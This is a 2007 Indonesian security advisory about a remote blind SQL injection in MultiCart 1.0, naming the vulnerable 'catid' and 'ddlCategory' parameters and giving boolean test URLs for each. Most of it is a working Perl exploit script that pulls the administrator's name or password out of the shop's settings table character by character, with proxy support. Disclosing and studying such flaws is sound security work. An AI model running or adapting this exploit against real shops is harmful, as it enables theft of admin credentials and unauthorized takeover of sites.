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multicart-sql.txt

Posted on 03 October 2007

# Indonesian Newhack Security Advisory
# ------------------------------------
# MultiCart 1.0 Remote Blind SQL Injection
# Waktu			:  Sep 30 2007 02:00AM
# Software		:  MultiCart 1.0
# Vendor		:  http://www.iscripts.com/multicart/
# Ditemukan oleh	:  k1tk4t  |  http://newhack.org
# Lokasi		:  Indonesia
#
#  ----
#  /categorydetail.php?catid=[BLIND SQLI]
#  parameter "catid" pada categorydetail.php tidak terfilter dengan baik,
#  sehingga mengizinkan penyerang untuk memanipulasi SQL query pada parameter "catid"
#  contoh ;
#  http://localhost/categorydetail.php?catid=1'AND 1=1/*
#  http://localhost/categorydetail.php?catid=1'AND 1=2/*
#  ----
#  /search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=[BLIND SQLI]
#  parameter "ddlCategory" pada search.php tidak terfilter dengan baik,
#  sehingga mengizinkan penyerang untuk memanipulasi SQL query pada parameter "ddlCategory"
#  contoh ;
#  http://localhost/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=1 AND 1=2
#  http://localhost/search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=1 AND 1=1
#  ----
#
#  Terima Kasih untuk;
#  str0ke, DNX, xoron
#  nyubi,iFX,kin9k0ng,bius,selikoer,aldy_BT
#  Komunitas Security dan Hacker Indonesia
#  -[opt1lc, fl3xu5, ghoz]- yang telah memberikan nuansa baru untuk Newhack
#
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
print "
  |-------------------------------------------------|";
print "
  |         Indonesian Newhack Technology           |";
print "
  |-------------------------------------------------|";
print "
  | MultiCart 1.0 (search.php) Blind SQL Injection  |";
print "
  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |";
print "
  |   DNX Code [dnx(at)hackermail.com] | Modified   |";
print "
  |-------------------------------------------------|";
print "
[!] ";
print "
[!] Bug: in the search.php script, u can inject sql code in the (ddlCategory) parameter";
print "
[!] Usage: perl multicart.pl [Host] [Path] <Options>";
print "
[!] Example: perl multicart.pl 127.0.0.1 /cart/ -c 10 -o 1 -t multicart_config";
print "
[!] Options:";
print "
       -c [no]       Valid ddlCategory Search, default is 1";
print "
       -o [no]       1 = get admin name (default)";
print "
                     2 = get admin password";
print "
       -t [name]     Changes the settings table name, default is multicart_settings";
print "
       -p [ip:port]  Proxy support";
print "
";
exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $cat     = 1;
my $column  = "admin_name";
my $table   = "multicart_settings";
my %options = ();
GetOptions(\%options, "c=i", "o=i", "t=s", "p=s");

print "[!] Exploiting...
";

if($options{"c"}) { $cat = $options{"c"}; }
if($options{"o"} && $options{"o"} == 2) { $column = "admin_password"; }
if($options{"t"}) { $table = $options{"t"}; }

syswrite(STDOUT, "[!] Data : ", 12);

for(my $i = 1; $i <= 32; $i++)
{
my $found = 0;
my $h = 48;
while(!$found && $h <= 57)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
if(!$found)
{
$h = 97;
while(!$found && $h <= 122)
{
if(istrue2($host, $path, $table, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}

print "
[!] Exploit done
";

sub istrue2
{
my $host  = shift;
my $path  = shift;
my $table = shift;
my $i     = shift;
my $h     = shift;

my $ua = LWP::UserAgent->new;
my $url = "http://".$host.$path."search.php?chkProductName=on&chkIncludeSubcategories=on&sd=1&txtSearch=&ddlCategory=".$cat."%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $response = $ua->get($url);
my $content = $response->content;
my $regexp = "navigate";

if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}

 

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